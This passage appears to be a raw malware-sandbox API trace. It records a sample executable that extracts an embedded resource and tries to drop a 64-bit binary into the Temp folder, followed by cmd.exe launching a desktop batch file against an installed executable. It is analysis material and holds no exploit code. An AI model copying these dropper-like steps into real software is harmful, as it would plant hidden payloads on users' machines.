¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿðZ\x7f\x86äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0086.654] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x80) returned 0x308250 [0086.654] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0086.654] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0086.654] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x308250) returned 0x80 [0086.654] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0086.654] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0086.654] GetCurrentProcess () returned 0xffffffff [0086.654] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0086.654] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0086.654] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0086.654] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0086.655] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0086.655] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0086.655] LockResource (hResData=0x43c648) returned 0x43c648 [0086.655] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x18) returned 0x3082d8 [0086.655] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.655] GetLastError () returned 0x20 [0086.655] GetLastError () returned 0x20 [0086.655] SetLastError (dwErrCode=0x20) [0086.655] GetLastError () returned 0x20 [0086.656] SetLastError (dwErrCode=0x20) [0086.656] GetLastError () returned 0x20 [0086.656] SetLastError (dwErrCode=0x20) [0086.656] GetLastError () returned 0x20 [0086.656] SetLastError (dwErrCode=0x20) [0086.656] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x1000) returned 0x309820 [0086.656] GetLastError () returned 0x20 [0086.656] SetLastError (dwErrCode=0x20) [0086.656] GetLastError () returned 0x20 [0086.656] SetLastError (dwErrCode=0x20) [0086.656] GetLastError () returned 0x20 [0086.656] SetLastError (dwErrCode=0x20) [0086.656] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0086.657] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0087.133] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307820 | out: hHeap=0x2f0000) returned 1 [0087.133] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0087.134] ExitProcess (uExitCode=0x1) [0087.134] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3060c8 | out: hHeap=0x2f0000) returned 1 Process: id = "161" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x62a7000" os_pid = "0xd14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 715 os_tid = 0xd18 [0088.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afc44 | out: lpSystemTimeAsFileTime=0x1afc44*(dwLowDateTime=0xd89b4980, dwHighDateTime=0x1d5d06a)) [0088.898] GetCurrentProcessId () returned 0xd14 [0088.898] GetCurrentThreadId () returned 0xd18 [0088.898] GetTickCount () returned 0x115e14b [0088.898] QueryPerformanceCounter (in: lpPerformanceCount=0x1afc3c | out: lpPerformanceCount=0x1afc3c*=23084998794) returned 1 [0088.898] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0088.898] __set_app_type (_Type=0x1) [0088.898] __p__fmode () returned 0x76be31f4 [0088.899] __p__commode () returned 0x76be31fc [0088.899] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0088.899] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0088.899] GetCurrentThreadId () returned 0xd18 [0088.899] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd18) returned 0x60 [0088.899] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0088.899] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0088.899] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.187] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0089.187] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbd4 | out: phkResult=0x1afbd4*=0x0) returned 0x2 [0089.187] VirtualQuery (in: lpAddress=0x1afc0b, lpBuffer=0x1afba4, dwLength=0x1c | out: lpBuffer=0x1afba4*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0089.187] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afba4, dwLength=0x1c | out: lpBuffer=0x1afba4*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0089.187] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afba4, dwLength=0x1c | out: lpBuffer=0x1afba4*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0089.187] VirtualQuery (in: lpAddress=0xb3000, lpBuffer=0x1afba4, dwLength=0x1c | out: lpBuffer=0x1afba4*(BaseAddress=0xb3000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0089.187] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afba4, dwLength=0x1c | out: lpBuffer=0x1afba4*(BaseAddress=0x1b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0089.187] GetConsoleOutputCP () returned 0x1b5 [0089.187] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0089.187] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0089.187] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.187] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0089.188] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.188] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0089.188] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.188] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.188] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.189] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0089.189] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.189] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0089.189] GetEnvironmentStringsW () returned 0x502140* [0089.189] GetProcessHeap () returned 0x4f0000 [0089.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xaca) returned 0x502c18 [0089.189] FreeEnvironmentStringsW (penv=0x502140) returned 1 [0089.190] GetProcessHeap () returned 0x4f0000 [0089.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x5018e0 [0089.190] GetEnvironmentStringsW () returned 0x502140* [0089.190] GetProcessHeap () returned 0x4f0000 [0089.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xaca) returned 0x5036f0 [0089.190] FreeEnvironmentStringsW (penv=0x502140) returned 1 [0089.190] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aeb44 | out: phkResult=0x1aeb44*=0x68) returned 0x0 [0089.190] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x0, lpData=0x1aeb50*=0x0, lpcbData=0x1aeb48*=0x1000) returned 0x2 [0089.190] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x1, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.190] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x0, lpData=0x1aeb50*=0x1, lpcbData=0x1aeb48*=0x1000) returned 0x2 [0089.190] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x0, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.190] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x40, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.190] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x40, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.190] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x0, lpData=0x1aeb50*=0x40, lpcbData=0x1aeb48*=0x1000) returned 0x2 [0089.190] RegCloseKey (hKey=0x68) returned 0x0 [0089.190] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aeb44 | out: phkResult=0x1aeb44*=0x68) returned 0x0 [0089.191] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x0, lpData=0x1aeb50*=0x40, lpcbData=0x1aeb48*=0x1000) returned 0x2 [0089.191] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x1, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.191] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x0, lpData=0x1aeb50*=0x1, lpcbData=0x1aeb48*=0x1000) returned 0x2 [0089.191] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x0, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.191] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x9, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.191] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x4, lpData=0x1aeb50*=0x9, lpcbData=0x1aeb48*=0x4) returned 0x0 [0089.191] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aeb4c, lpData=0x1aeb50, lpcbData=0x1aeb48*=0x1000 | out: lpType=0x1aeb4c*=0x0, lpData=0x1aeb50*=0x9, lpcbData=0x1aeb48*=0x1000) returned 0x2 [0089.191] RegCloseKey (hKey=0x68) returned 0x0 [0089.191] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710eb [0089.191] srand (_Seed=0x5e2710eb) [0089.191] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"\"" [0089.191] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"\"" [0089.192] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.192] GetProcessHeap () returned 0x4f0000 [0089.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x210) returned 0x502140 [0089.192] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x502148, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0089.192] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0089.192] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0089.192] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0089.192] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0089.192] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0089.193] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0089.193] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0089.193] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0089.193] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0089.193] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0089.193] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0089.193] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0089.193] GetProcessHeap () returned 0x4f0000 [0089.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502c18 | out: hHeap=0x4f0000) returned 1 [0089.193] GetEnvironmentStringsW () returned 0x502358* [0089.193] GetProcessHeap () returned 0x4f0000 [0089.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xae2) returned 0x504cb8 [0089.193] FreeEnvironmentStringsW (penv=0x502358) returned 1 [0089.193] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.193] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0089.193] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0089.193] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0089.193] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0089.193] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0089.193] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0089.193] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0089.193] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0089.193] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0089.193] GetProcessHeap () returned 0x4f0000 [0089.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x54) returned 0x501810 [0089.193] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1af910 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1af910, lpFilePart=0x1af90c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af90c*="Desktop") returned 0x25 [0089.194] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0089.194] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af68c | out: lpFindFileData=0x1af68c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5057a8 [0089.194] FindClose (in: hFindFile=0x5057a8 | out: hFindFile=0x5057a8) returned 1 [0089.194] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1af68c | out: lpFindFileData=0x1af68c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5057a8 [0089.194] FindClose (in: hFindFile=0x5057a8 | out: hFindFile=0x5057a8) returned 1 [0089.194] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0089.194] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1af68c | out: lpFindFileData=0x1af68c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5057a8 [0089.194] FindClose (in: hFindFile=0x5057a8 | out: hFindFile=0x5057a8) returned 1 [0089.194] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0089.194] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0089.194] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0089.194] GetProcessHeap () returned 0x4f0000 [0089.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504cb8 | out: hHeap=0x4f0000) returned 1 [0089.195] GetEnvironmentStringsW () returned 0x5041c8* [0089.195] GetProcessHeap () returned 0x4f0000 [0089.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb36) returned 0x505fe8 [0089.195] FreeEnvironmentStringsW (penv=0x5041c8) returned 1 [0089.195] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.195] GetProcessHeap () returned 0x4f0000 [0089.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501810 | out: hHeap=0x4f0000) returned 1 [0089.195] GetProcessHeap () returned 0x4f0000 [0089.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400e) returned 0x506b28 [0089.196] GetProcessHeap () returned 0x4f0000 [0089.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x110) returned 0x502e98 [0089.197] GetProcessHeap () returned 0x4f0000 [0089.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4008) returned 0x50ab40 [0089.197] GetProcessHeap () returned 0x4f0000 [0089.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4008) returned 0x50eb50 [0089.198] GetProcessHeap () returned 0x4f0000 [0089.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506b28 | out: hHeap=0x4f0000) returned 1 [0089.198] GetConsoleOutputCP () returned 0x1b5 [0089.198] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0089.198] GetUserDefaultLCID () returned 0x409 [0089.199] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0089.199] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1afa50, cchData=128 | out: lpLCData="0") returned 2 [0089.199] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1afa50, cchData=128 | out: lpLCData="0") returned 2 [0089.199] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1afa50, cchData=128 | out: lpLCData="1") returned 2 [0089.199] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0089.199] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0089.200] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0089.200] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0089.201] GetProcessHeap () returned 0x4f0000 [0089.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20c) returned 0x502fb0 [0089.202] GetConsoleTitleW (in: lpConsoleTitle=0x502fb0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.202] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0089.202] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0089.202] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0089.202] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0089.203] GetProcessHeap () returned 0x4f0000 [0089.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x506b28 [0089.203] GetProcessHeap () returned 0x4f0000 [0089.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506b28 | out: hHeap=0x4f0000) returned 1 [0089.204] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0089.204] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0089.204] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0089.204] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0089.204] _wcsicmp 